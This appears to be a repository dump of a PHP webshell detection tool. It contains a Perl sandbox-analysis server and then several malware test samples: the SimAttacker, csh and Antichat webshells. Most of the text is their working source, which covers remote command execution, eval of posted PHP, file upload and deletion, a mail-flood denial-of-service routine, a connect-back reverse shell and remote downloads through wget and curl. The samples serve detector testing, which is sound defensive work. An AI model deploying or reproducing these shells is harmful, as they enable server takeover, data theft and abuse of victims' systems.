167 |    # しかしweebvelyなどの外からwebshell_codeが渡ってくるものは検知できなくなる
168 |    my @webshell_codes = qw(
169 |       system exec passthru shell_exec popen proc_open pcntl_exec    
170 |    );
171 | 
172 |    foreach my $code (@$codes){
173 |       next unless defined $code;
174 |       my $strip = strip_php_code($code);            
175 |       foreach my $webshell_code (@webshell_codes){
176 |          my $count = scalar( () = $strip =~ /[^\w]$webshell_code\(.+\)/g);
177 |          if($count){  
178 |             push(@msg, "$webshell_code($count)");
179 |             $flag++;
180 |          }
181 |       }      
182 |    }
183 | 
184 |    return ($flag,\@msg);
185 | }
186 | 
187 | #-------------#
188 | # MAIN ROUTIN #
189 | #-------------#
190 | sub main(){
191 |    my $app = sub {
192 |       # obscan.plからのパラメータ取得
193 |       my $req = Plack::Request->new(shift);
194 | 
195 |       my $uploads = $req->uploads;
196 |       my $file_name = $uploads->{data}->{filename};    # 対象ファイル名
197 |       my $tmp_path = $uploads->{data}->{tempname};    # 対象ファイルの一時保存先
198 |       my $client_md5 = $req->param('md5');        # 対象ファイルのCLIENT側で取得したmd5
199 |       my $mode = $req->param('mode');             # mode
200 | 
201 |       # mode値のチェック
202 |       my @allow_mode = qw(detect-obfuscate detect-webshell deobfuscate tracelog viewfunc);
203 |       unless(grep {$mode eq $_} @allow_mode){
204 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "Unexcepted mode paramaeter" ], ];
205 |       }
206 | 
207 |       #--------------#
208 |       # 解析準備処理 #
209 |       #--------------#
210 | 
211 |       # plackによりアップロードされたファイルはテンポラリファイルとして所定の位置に配置される。
212 |       # これを解析場所に配置する。
213 |       unless(-f $tmp_path){
214 |          # もしテンポラリファイルが存在しないならエラーを返す
215 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "Not found temporary file" ], ];
216 |       }
217 |       
218 |       # クライアントから渡されたファイル名を元に解析場所に配置した完全なファイルパスを取得する       
219 |       my $ana_path = $YAML->{WEBROOT_DIR} . $file_name;
220 | 
221 |       # テンポラリファイルを解析場所に配置する
222 |       unless(move $tmp_path, $ana_path){
223 |          # テンポラリファイルを解析場所に配置できないなら、
224 |          # テンポラリファイルを削除してエラーを返す。
225 |          cleanup($tmp_path);
226 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "Failed move $tmp_path to $ana_path : $!" ], ];
227 |       }
228 | 
229 |       # 解析場所に配置したファイルを実行可能な権限に変更する
230 |       unless(chmod 0666, $ana_path){
231 |          # 権限変更ができないなら解析場所に配置したファイルを削除して、エラーを返す
232 |          cleanup($ana_path);
233 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "Failed chmod $ana_path : $!" ], ];
234 |       }
235 | 
236 |       # クライアントから渡されたmd5値とサーバ上で取得したmd5値が一致するのかを確認する。      
237 |       unless($client_md5 eq get_md5($ana_path)){
238 |          # md5が一致しないならファイルのアップロード時に壊れているのでファイルを削除してエラーを返す
239 |          cleanup($ana_path);
240 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "upload file is corrupted." ], ];
241 |       }      
242 | 
243 |       #------------------#
244 |       # TRACELOG取得処理 # 
245 |       #------------------#
246 | 
247 |       my $tracelog_file;
248 | 
249 |       # tracelog取得処理は未知数のエラーが発生する可能性が高いのでトラップする
250 |       eval{
251 |          # ブラウザの作成
252 |          my $ua = LWP::UserAgent->new;
253 |          $ua->agent("OPWD CLIENT ;-)");
254 |          $ua->timeout($YAML->{SANDBOX_UA_TIMEOUT});
255 |    
256 |          # 解析対象ファイルを実行できるURIを構築する
257 |          my $ana_uri;
258 |          if($YAML->{SANDBOX_HTTPD_ENGINE} eq 'APACHE'){
259 |             $ana_uri = "http://127.0.0.1:".$YAML->{SANDBOX_HTTPD_PORT}."/".$file_name;
260 |          }else{
261 |             $ana_uri = "http://".$YAML->{PHP_BUILTIN_SERVER_HOST}.":".$YAML->{PHP_BUILTIN_SERVER_PORT}."/".$file_name;
262 |          } 
263 |    
264 |          # tracelogファイルパスを取得する
265 |          $tracelog_file = "$YAML->{TRACELOG_DIR}".$file_name.".xt";
266 |    
267 |          # 解析PHPをApache経由で実行し、Xdebugにtracelogを吐かせる
268 |          my $response = $ua->get("$ana_uri");
269 |       };
270 | 
271 |       if($@){
272 |          cleanup($ana_path);
273 |          cleanup($tracelog_file);
274 |          return [ 500, [ 'Content-Type' => 'text/plain' ], [ "SANDBOX browser eval trap : $@" ], ];
275 |       }
276 | 
277 |       #------------------#
278 |       # TRACELOG解析処理 #
279 |       #------------------#
280 | 
281 |       # $func_infoは関数名と出現回数を記録したハッシュリファレンス
282 |       # $stack_traceは関数呼び出しと引数を順序を考慮し格納したリストリファレンス
283 |       my ($func_info,$stack_trace) = parse_tracelog($tracelog_file);
284 |       # tracelogの生テキスト
285 |       my $trace_text = read_file($tracelog_file);
286 | 
287 |       # TRACELOGを取得したら解析対象ファイルやTRACELOGファイルは必要ないので削除する
288 |       cleanup($ana_path);
289 |       cleanup($tracelog_file);
290 | 
291 |       #--------------------------#
292 |       # モードにより返り値を分岐 #
293 |       #--------------------------#
294 | 
295 |       my %ret;
296 | 
297 |       # [viewfunc]は呼ばれた関数の一覧とその回数を出力する
298 |       if($mode eq 'viewfunc'){
299 |          %ret = ( 'mode' => 'viewfunc', 'body' => $func_info,); 
300 |          return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
301 |       }
302 | 
303 |       # [tracelog]はxdebugにより取得されたtracelogをそのまま返す 
304 |       if($mode eq 'tracelog'){
305 |          %ret = ( 'mode' => 'tracelog', 'body' => $trace_text,);
306 |          return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
307 |       }     
308 | 
309 |       # [detect-obfuscate]は難読化されたファイルか否かを判定し、結果を返す
310 |       if($mode eq 'detect-obfuscate'){
311 |          my ($flag, $msg) =  detect_obfuscate($func_info); 
312 |          if($flag){
313 |             # 難読化判定
314 |             %ret = ( 'mode' => 'detect-obfuscate', 'body' => "OBFUSCATE[o] INFO[" . join(", ", @$msg) ."]");
315 |          }else{
316 |             # 難読化されていない
317 |             %ret = ( 'mode' => 'detect-obfuscate', 'body' => "OBFUSCATE[x] INFO[" . join(", ", @$msg) ."]");
318 |          }
319 |          return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
320 |       }
321 | 
322 |       # [deobfuscate]は再評価処理に渡された引数を全て返す
323 |       if($mode eq 'deobfuscate'){
324 |          %ret = ( 'mode' => 'deobfuscate', 'body' => deobfusucate($stack_trace),);
325 |          return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
326 |       }
327 | 
328 |       # [detect-webshell]は難読化されたwebshellか否かを判定し、結果を返す。
329 |       if($mode eq 'detect-webshell'){
330 |          my ($obfuscate_flag, $obfuscate_msg) =  detect_obfuscate($func_info); 
331 |          unless($obfuscate_flag){
332 |             # 難読化されていないファイル
333 |             %ret = ( 'mode' => 'detect-obfuscate', 'body' => "OBFUSCATE[x] INFO[" . join(", ", @$obfuscate_msg) ."]");
334 |             return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
335 |          }
336 | 
337 |          # 以降難読化されているファイルであるためwebshellか否かの判定を行う
338 |          my ($webshell_flag, $webshell_msg) = detect_webshell(deobfusucate($stack_trace));
339 |          unless($webshell_flag){
340 |             # 難読化されているがwebshellではない
341 |             %ret = ( 'mode' => 'detect-obfuscate', 'body' => "OBFUSCATE[o] WEBSHELL[x] INFO[" . join(", ", @$obfuscate_msg, @$webshell_msg) ."]");
342 |          }else{
343 |             # 難読化されているWebShellである
344 |             %ret = ( 'mode' => 'detect-obfuscate', 'body' => "OBFUSCATE[o] WEBSHELL[o] INFO[" . join(", ", @$obfuscate_msg, @$webshell_msg) ."]");
345 |          }
346 | 
347 |          return [ 200, [ 'Content-Type' => 'text/plain' ], [ encode_json( \%ret ) ], ];
348 |       }
349 |    };
350 | 
351 |    return $app;
352 | }
353 | 
354 | main();
355 | 
356 | 


--------------------------------------------------------------------------------
/t/malware/98.php:
--------------------------------------------------------------------------------
  1 |  "" ){
  5 | // path & file name
  6 | $path_parts = pathinfo("$fdownload");
  7 | $entrypath=$path_parts["basename"];
  8 | $name = "$fdownload";
  9 | $fp = fopen($name, 'rb');
 10 | header("Content-Disposition: attachment; filename=$entrypath");
 11 | header("Content-Length: " . filesize($name));
 12 | fpassthru($fp);
 13 | exit;
 14 | }
 15 | ?>
 16 | 	
 17 | 
 18 | 
 19 | 
 20 | 
 21 | 
 22 | SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend 
 23 | 
 28 | 
 29 | 
 30 |  "" ){
 36 |  $fedit=realpath($fedit);
 37 |  $lines = file($fedit);
 38 |  echo "
";
 39 | echo "
 44 | 	
 45 | 	
";
 46 | 	$savefile=$_POST['savefile'];
 47 | 	$filepath=realpath($_POST['filepath']);
 48 | 	if ($savefile <> "") 
 49 | 	{
 50 | 	$fp=fopen("$filepath","w+");
 51 | 	fwrite ($fp,"") ;
 52 | 	fwrite ($fp,$savefile) ;
 53 | 	fclose($fp);
 54 | 	echo "";
 55 | 	}
 56 | exit();
 57 |  }
 58 | ?>
 59 |  "" ){
 63 | $fchmod=realpath($fchmod);
 64 | echo "


 65 | chmod for :$fchmod

 66 | 


 67 | Chmod :

 68 | 

 69 | 
 70 | 
";
 71 | $chmod0=$_POST['chmod0'];
 72 | if ($chmod0 <> ""){
 73 | chmod ($fchmod , $chmod0);
 74 | }else {
 75 | echo "primission Not Allow change Chmod";
 76 | }
 77 | exit();
 78 | }
 79 | ?>
 80 | 	
 81 | 

 82 | 	
 83 | 		
 84 | 			
112 | 			
363 | 		
364 | 		
365 | 			
372 | 		
373 | 	

 85 | 				

 86 | 				

 87 | 				
 88 | 				
 89 | 				
 90 | 				
 91 | 				
 95 | 				File Manager

 96 | 				

 97 | 				
 98 | 				
 99 | 				CMD Shell

100 | 				

101 | 				
102 | 				Fake mail

103 | 				

104 | 				
105 | 				
106 | 				Connect Back

107 | 				

108 | 				
109 | 				
110 | 				About

111 | 				
 
 

113 | 			
121 | ***************************************************************************

122 |  Iranian Hackers : WWW.SIMORGH-EV.COM 

123 |  Programer : Hossein Asgary 

124 |  Note : SimAttacker  Have copyright from simorgh security Group  

125 |  please : If you find bug or problems in program , tell me by : 

126 |  e-mail : admin(at)simorgh-ev(dot)com

127 | Enjoy :) [Only 4 Best Friends ] 

128 | ***************************************************************************

129 | ";
130 | 
131 | echo "OS :". php_uname();
132 | echo "
IP :". 
133 | ($_SERVER['REMOTE_ADDR']);
134 | echo "";
135 | 
136 | 
137 | 			}
138 | 			//************************************************************
139 | 			//cmd-command line
140 | 			$cmd=$_POST['cmd'];
141 | 			if($id=="cmd"){
142 | 		$result=shell_exec("$cmd");
143 | 		echo "
 CMD ExeCute 
" ;
144 | 		echo "

145 | 		

146 | 		

147 | 		
148 | 		
149 | 		
";
150 | 			
151 | 			
152 | 			
153 | 			}
154 | 			
155 | 		//********************************************************	
156 | 		
157 | 		//fake mail = Use victim server 4 DOS - fake mail 
158 | 		if ( $id=="fake-mail"){
159 | 		error_reporting(0);
160 | 		echo "
 Fake Mail- DOS E-mail By Victim Server 
" ;
161 | 		echo "

162 | 		Victim Mail :


163 | 		Number-Mail :


164 | 		Comments:
165 | 		

166 | 		

167 | 		
168 | 		
";
169 | 		//send Storm Mail
170 | 		$to=$_POST['to'];
171 | 		$nom=$_POST['nom'];
172 | 		$Comments=$_POST['Comments'];
173 | 		if ($to <> "" ){
174 | 		for ($i = 0; $i < $nom ; $i++){
175 | 		$from = rand (71,1020000000)."@"."Attacker.com";
176 | 		$subject= md5("$from");
177 |         mail($to,$subject,$Comments,"From:$from");
178 |         echo "$i is ok";
179 |         }      
180 |         echo "";
181 |         }
182 | 		}
183 | 		//********************************************************
184 | 
185 | 			//Connect Back -Firewall Bypass
186 | 			if ($id=="cshell"){
187 | 			echo "
Connect back Shell , bypass Firewalls

188 | 			For user :

189 | 			nc -l -p 1019 

190 | 			

191 | 			


192 | 			Your IP & BindPort:

193 | 			
194 | 			

195 | 			
196 | 			
";
197 | 		 $mip=$_POST['mip'];
198 | 		 $bport=$_POST['bport'];
199 | 		 if ($mip <> "")
200 | 		 {
201 | 		 $fp=fsockopen($mip , $bport , $errno, $errstr);
202 | 		 if (!$fp){
203 | 		       $result = "Error: could not open socket connection";
204 | 		 }
205 | 		 else {
206 | 		 fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00  ready 2 USe\n*********************************************\n\n");
207 | 	  while(!feof($fp)){ 
208 |        fputs ($fp," bash # ");
209 |        $result= fgets ($fp, 4096);
210 |       $message=`$result`;
211 |        fputs ($fp,"--> ".$message."\n");
212 |       }
213 |       fclose ($fp);
214 | 		 }
215 | 		 }
216 | 			}
217 | 			
218 | 		//********************************************************
219 | 			//Spy File Manager
220 | 			$homedir=getcwd();
221 | 			$dir=realpath($_GET['dir'])."/";
222 | 			if ($id=="fm"){
223 | 			echo "
 Home: $homedir 
224 |                    
225 |                   

226 |                    Path:
227 |                   
228 |                   
229 |                   
230 |                   

231 |                  
";
232 | 
233 | 			echo "
234 | 
235 | 

236 | 
237 | 
238 | 	
239 | 		
240 | 		
242 | 		
244 | 		
246 | 		
248 | 		
249 | 	";
250 | 		    if (is_dir($dir)){
251 | 		    if ($dh=opendir($dir)){
252 | 		    while (($file = readdir($dh)) !== false) {
253 | 		    $fsize=round(filesize($dir . $file)/1024);
254 | 		
255 | 		    
256 | 	echo " 
257 | 	
258 | 		
267 | 		
277 | 		
289 | 		
302 | 		
310 | 		
311 | 	
312 | 	";
313 | 		      }
314 | 		      closedir($dh);
315 | 		    } 
316 | 		    }
317 | 		    echo "
File / Folder Name
241 | 		Size KByte
243 | 		Download
245 | 		Edit
247 | 		ChmodDelete
";
259 | 		if (is_dir($dir.$file))
260 | 		{
261 | 		echo " $file dir";
262 | 		}
263 | 		else {
264 | 		echo " $file ";
265 | 		}
266 | 		echo "";
268 | 		if (is_file($dir.$file))
269 | 		{
270 | 		echo "$fsize";
271 | 		}
272 | 		else {
273 | 		echo "  ";
274 | 		}
275 | 		echo "
276 | 		";
278 | 		if (is_file($dir.$file)){
279 | 		if (is_readable($dir.$file)){
280 | 		echo "download";
281 | 		}else {
282 | 		echo "No ReadAble";
283 | 		 }
284 | 		}else {
285 | 		echo " ";
286 | 		 }
287 | 		echo "
288 | 		";
290 | 		if (is_file($dir.$file))
291 | 		{
292 | 		if (is_readable($dir.$file)){
293 | 		echo "Edit";
294 | 		}else {
295 | 		echo "No ReadAble";
296 | 		 }
297 | 		}else {
298 | 		echo " ";
299 | 		 }
300 | 		echo "
301 | 		";
303 | 		if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
304 | 		echo "Dont in windows";
305 | 		}
306 | 		else {
307 | 		echo "Chmod";
308 | 		}
309 | 		echo "Delete

318 | 

319 |  
320 |  Send this file: 
321 |  
322 |  
323 |  
324 | 		    
";
325 | 			}
326 | //Upload Files 
327 | $rpath=$_GET['dir'];
328 | if ($rpath <> "") {
329 | $uploadfile = $rpath."/" . $_FILES['userfile']['name'];
330 | print "
";
331 | if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
332 | echo "";
333 | echo "";
334 | }
335 |  }
336 |  //file deleted
337 | $frpath=$_GET['fdelete'];
338 | if ($frpath <> "") {
339 | if (is_dir($frpath)){
340 | $matches = glob($frpath . '/*.*');
341 | if ( is_array ( $matches ) ) {
342 |   foreach ( $matches as $filename) {
343 |   unlink ($filename);
344 |   rmdir("$frpath");
345 | echo "";
346 | echo "";
347 |   }
348 |   }
349 |   }
350 |   else{
351 | echo "";
352 | unlink ("$frpath");
353 | echo "";
354 | exit(0);
355 | 
356 |   }
357 |   
358 | 
359 | }
360 | 			?>
361 | 			
362 | 			

366 | 			


367 | 			Copyright 2004-Simorgh Security

368 | 			Hossein-Asgari

369 | 			
370 | 		
371 | 		www.simorgh-ev.com

374 | 

375 | 
376 | 
377 | 
378 | 


--------------------------------------------------------------------------------
/t/malware/15.php:
--------------------------------------------------------------------------------
  1 | 
Error 401
Unauthorized access!
");
 36 | }
 37 | if($achtung)
 38 |   error_reporting(E_ALL&~E_NOTICE);
 39 | else
 40 |   error_reporting(0);
 41 |   //---------------------
 42 | 
 43 | //get page generating time
 44 | if (!function_exists("get_micro_time")) {
 45 |  function get_micro_time() {
 46 |   list($usec, $sec) = explode(" ", microtime());
 47 |   return ((float)$usec + (float)$sec);
 48 |  }
 49 | }
 50 | define("start_time",get_micro_time());
 51 | $cshver=".::[csh]::. v. 0.1.1 release";
 52 |  //-------------------------------
 53 | 
 54 |  //normalize text encoding
 55 |  function decode($buffer){
 56 | return  convert_cyr_string ($buffer, 'd', 'w');
 57 | }
 58 | //---------------------------------
 59 | 
 60 | ?>
 61 | 
 62 | 
 63 | 
 64 | 
 65 | 
 66 | .:[csh]:.| [".get_current_user()."@".$SERVER_NAME."]";
 68 | ?>
 69 | 
 70 | 
 94 | 
 95 | 
 96 | 

 97 | 
 98 | 

 99 | 

100 | 
101 |   
142 |  
143 |  

102 | 
103 | 
104 |  
105 | 
106 |   
114 |  
115 |  

107 |   
108 | 
109 | Server info:
";
111 | ?>
112 | 
113 |  

116 | 
117 | ".$SERVER_NAME."
";
120 | echo "Server IP adress:".$server_ip=gethostbyname($SERVER_NAME)." 
";
121 | echo (($safe_mode)?("Safe Mode: ON
 "):
122 |          ("Safe Mode: OFF
 "));
123 | echo "OS: ";
124 |  if (empty($uname)){
125 |   echo (php_uname()."
");
126 |  }else
127 |   echo $uname."
";
128 |   echo 'User: ' .get_current_user() . '
';
129 |    echo "HTTP Server: ".$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']."
";
130 |  echo ("PHP: ".phpversion()."
 ");
131 |   echo ("MySQL: ");
132 |  if($mysql_stat=function_exists('mysql_connect')){
133 |   echo "ON ";
134 |  }
135 |  else {
136 |   echo "OFF 
";
137 |  }
138 |  //---------------------------
139 |  ?>
140 | 
141 |  

144 | 
145 | 
146 | 

147 | 
.::[Shell functions]::.

148 | 
149 | 
150 | 
151 |   
155 |  
156 |  

152 |  
153 | " title="./$shell">./ $shell

154 | 

157 | 
158 | 
159 |   
163 |  
164 |  

160 |  
161 | " title="PHP code execution">./php execution

162 | 

165 |  
166 | 
167 |   
171 |  
172 |  

168 |  
169 | " title="Upload file to server">./ upload file

170 | 

173 | 

174 | 

175 | 

176 | 

177 | 

178 | 

179 | 
180 | 

181 | 

182 | 
183 | 
184 |   
188 | ";
201 | $head_text="Shell:";
202 | chdir($dir);
203 | 
204 | function execute($com)
205 | {
206 | 
207 |  if (!empty($com))
208 |  {
209 |   if(function_exists('exec'))
210 |    {
211 |     exec($com,$arr);
212 |    echo implode('
213 | ',$arr);
214 |    }
215 |   elseif(function_exists('shell_exec'))
216 |    {
217 |     echo shell_exec($com);
218 |    }
219 |   elseif(function_exists('system'))
220 | {
221 |     echo system($com);
222 | }
223 |   elseif(function_exists('passthru'))
224 |    {
225 |     echo passthru($com);
226 |    }
227 | }
228 | 
229 | }
230 | if ($cmd){
231 | 
232 | if($sertype == "winda"){
233 | ob_start();
234 | execute($cmd);
235 | $buffer = "";
236 | $buffer = ob_get_contents();
237 | ob_end_clean();
238 | }
239 | else{
240 | ob_start();
241 | echo decode(execute($cmd));
242 | $buffer = "";
243 | $buffer = ob_get_contents();
244 | ob_end_clean();
245 | }
246 | if (trim($buffer)){
247 | echo "

185 | 
186 | 
187 | 

189 | 
190 | 

191 | [".getcwd()."]
Executed command: [$cmd]
";
250 | }
251 | }
252 | echo "

253 | 

254 | 
[".get_current_user()."@".$SERVER_NAME."]: 

255 | 
Current directory: 
258 | \" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">
";
259 | break;
260 | case "phpcode":
261 | $head_text="PHP code execution:";
262 | echo "
PHP code:



263 |                                      \" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">
";
264 | echo "
Results of PHP execution:
";
265 | @eval(stripslashes($_POST['phpcode']));
266 | echo "
";
267 | break;
268 | case "upload":
269 | echo"

270 | 
271 | 
272 | 

273 | 
274 | 
275 | 
276 | 
277 | 
278 | 
279 | 
280 | 
File:
Path:
";
281 | if (isset($_POST['path'])){
282 | $uploadfile = $_POST['path'].$_FILES['file']['name'];
283 | if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
284 | echo"
";
285 | if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
286 |     echo "File sucessfuly uploaded in to directory: [$uploadfile]
";
287 |     echo "Name: [".$_FILES['file']['name']. "]
";
288 |     echo "Size: [" .$_FILES['file']['size']. "] Bytes
";
289 | } else {
290 |     print "Couldn't to upload file. Information:
";
291 |     print_r($_FILES);
292 | }
293 | echo"
";
294 | }
295 | break;
296 | }
297 | ?>
298 | 
299 |  
300 |   
301 |  
302 | 
303 |   
304 | 
305 | 
306 |   
307 | 
308 | 

309 |  
310 | 
311 |   
312 | 
313 | 

314 |  
315 | 
316 | 
317 | 
318 | 
319 | 
320 | 
321 | 
322 |   
331 |  
332 |  

323 | 
324 | 

325 | 
326 | [".round(get_micro_time()-start_time,4). "] seconds.]=-";
328 | ?>
329 | 
330 |  

333 | 
334 | 


--------------------------------------------------------------------------------
/t/malware/7.php:
--------------------------------------------------------------------------------
  1 | 
 11 | BODY{
 12 |   background-color: #2B2F34;
 13 |   color: #C1C1C7;
 14 |   font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
 15 |   MARGIN-TOP: 0px;
 16 |   MARGIN-BOTTOM: 0px;
 17 |   MARGIN-LEFT: 0px;
 18 |   MARGIN-RIGHT: 0px;
 19 |   margin:0;
 20 |   padding:0;
 21 |   scrollbar-face-color: #336600;
 22 |   scrollbar-shadow-color: #333333;
 23 |   scrollbar-highlight-color: #333333;
 24 |   scrollbar-3dlight-color: #333333;
 25 |   scrollbar-darkshadow-color: #333333;
 26 |   scrollbar-track-color: #333333;
 27 |   scrollbar-arrow-color: #333333;
 28 | }
 29 | input{
 30 |   background-color: #336600;
 31 |   font-size: 8pt;
 32 |   color: #FFFFFF;
 33 |   font-family: Tahoma;
 34 |   border: 1 solid #666666;
 35 | }
 36 | select{
 37 |   background-color: #336600;
 38 |   font-size: 8pt;
 39 |   color: #FFFFFF;
 40 |   font-family: Tahoma;
 41 |   border: 1 solid #666666;
 42 | }
 43 | textarea{
 44 |   background-color: #333333;
 45 |   font-size: 8pt;
 46 |   color: #FFFFFF;
 47 |   font-family: Tahoma;
 48 |   border: 1 solid #666666;
 49 | }
 50 | a:link{
 51 |   
 52 |   color: #B9B9BD;
 53 |   text-decoration: none;
 54 |   font-size: 8pt;
 55 | }
 56 | a:visited{
 57 |   color: #B9B9BD;
 58 |   text-decoration: none;
 59 |   font-size: 8pt;
 60 | }
 61 | a:hover, a:active{
 62 |   width: 100%;
 63 |   background-color: #A8A8AD;
 64 |   
 65 | 
 66 |   color: #E7E7EB;
 67 |   text-decoration: none;
 68 |   font-size: 8pt;
 69 | }
 70 | td, th, p, li{
 71 |   font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
 72 |   border-color:black;
 73 | }
 74 | ';
 75 | $header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
 76 | $footer='';
 77 | 
 78 | //error parser
 79 | $filext="File already exists.";
 80 | $uploadok="File was successfully uploaded.";
 81 | $dircrt="Dir is created.";
 82 | $dircrterr="Don't create dir.";
 83 | $dirnf="Dir not found.";
 84 | $empty="Directory not empty or access denide.";
 85 | $deletefileok="File deleted";
 86 | $deletedirok="Dir deleted";
 87 | //end error parser
 88 | 
 89 | //auth
 90 | if(@$_POST['action']=="exit")unset($_SESSION['an']);
 91 | if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
 92 | if(@$_SESSION['an']==0){
 93 | echo $header;
 94 | echo '
Login:
Password:
';
 95 | echo $footer;
 96 | exit;}
 97 | //end auth
 98 | 
 99 | function createdir($dir){if(@mkdir($dir))echo $GLOBALS['dircrt']." "; else echo $GLOBALS['dircrterr']." ";}
100 | 
101 | 
102 | 
103 | if($_SESSION['action']=="")$_SESSION['action']="viewer";
104 | if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
105 | if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
106 | 
107 | $dir=chdir($dir);
108 | $dir=getcwd()."/";
109 | $dir=str_replace("\\","/",$dir);
110 | 
111 | 
112 | 
113 | 
114 | 
115 | 
116 | //crdir
117 | 
118 | 
119 | if(@$_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
120 |   
121 | //Current type OS
122 | if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $win=1; else $win=0;
123 | 
124 | 
125 | 
126 |  
127 |  
128 |  
129 | 
130 | //downloader
131 | if($action=="download"){ 
132 | header('Content-Length:'.filesize($file).'');
133 | header('Content-Type: application/octet-stream');
134 | header('Content-Disposition: attachment; filename="'.$file.'"');
135 | readfile($file);
136 | }
137 | //end downloader
138 | 
139 | //delete file
140 | if($action=="delete"){ 
141 | if(unlink($file)) $msgnotice.=$deletefileok;
142 | }
143 | //end delete
144 | 
145 | //delete dir
146 | if($action=="deletedir"){ 
147 | if(!rmdir($file)) $msgnotice.=$GLOBALS['empty'];else $msgnotice.=$deletedirok;
148 | 
149 | }
150 | //end delete
151 | ?>
152 | 
153 |  
154 | 
155 | 

156 | 
157 | 
158 | 
159 | 
160 | 
161 | 
162 | 
163 | 
164 | 
165 | 
166 | 
| Shell | Viewer| Editor| Upload| Php Eval| EXIT | <-back | forward->|


167 | 

168 | 
169 | 
170 | 
171 | 

172 | 
173 | ";
309 |   if($GLOBALS['win']==1)echo $form_win;
310 |   if($GLOBALS['win']==0){
311 |     echo $form_win;
312 | 	echo '';	
314 | }
315 | 
316 | if(@$_POST['uploadloc']){
317 | if(@$_POST['filename']=="") $uploadfile = $dirupload.basename($_FILES['file']['name']); else 
318 | $uploadfile = $dirupload."/".$_POST['filename'];
319 | 
320 | if(!file_exists($dirupload)){createdir($dirupload);}
321 | if(file_exists($uploadfile))echo $GLOBALS['filext']; 
322 | elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) 
323 | echo $GLOBALS['uploadok'];
324 | }
325 | 
326 | if(@$_POST['upload']){
327 |     if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
328 | 	switch($_POST['with'])
329 | 	{
330 | 	  case wget:
331 | 	  shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");
332 | 	  break;
333 |  	  case fetch:
334 |  	  shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");
335 |  	  break;
336 |  	  case lynx:
337 |  	  shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
338 |  	  break;
339 |  	  case links:
340 |  	  shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
341 |  	  break;
342 |  	  case GET:
343 |  	  shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");
344 |  	  break;
345 |  	  case curl:
346 |  	  shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");
347 |  	  break;
348 | 	 }
349 | 	}
350 |   
351 | }
352 | //end upload section
353 | 
354 | 
355 | if($action=="phpeval"){
356 |  echo "
357 | 
358 |  
359 |  <?php

360 | 

361 | ?>

362 | ";} 
363 | if(@$_POST['phpev']!=""){echo eval($_POST['phpev']);}
364 | ?>
365 | 

174 | 
175 | 
176 | 
194 | 
195 | 

196 | 

197 | ";}
198 | //end shell
199 | 
200 | 
201 | //viewer FS
202 | function perms($file) 
203 | { 
204 |   $perms = fileperms($file);
205 |   if (($perms & 0xC000) == 0xC000) {$info = 's';} 
206 |   elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} 
207 |   elseif (($perms & 0x8000) == 0x8000) {$info = '-';} 
208 |   elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} 
209 |   elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} 
210 |   elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} 
211 |   elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} 
212 |   else {$info = 'u';}
213 |   $info .= (($perms & 0x0100) ? 'r' : '-');
214 |   $info .= (($perms & 0x0080) ? 'w' : '-');
215 |   $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
216 |   $info .= (($perms & 0x0020) ? 'r' : '-');
217 |   $info .= (($perms & 0x0010) ? 'w' : '-');
218 |   $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
219 |   $info .= (($perms & 0x0004) ? 'r' : '-');
220 |   $info .= (($perms & 0x0002) ? 'w' : '-');
221 |   $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
222 |   return $info;
223 | } 
224 | 
225 | function view_size($size)
226 | {
227 |  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
228 |  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
229 |  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
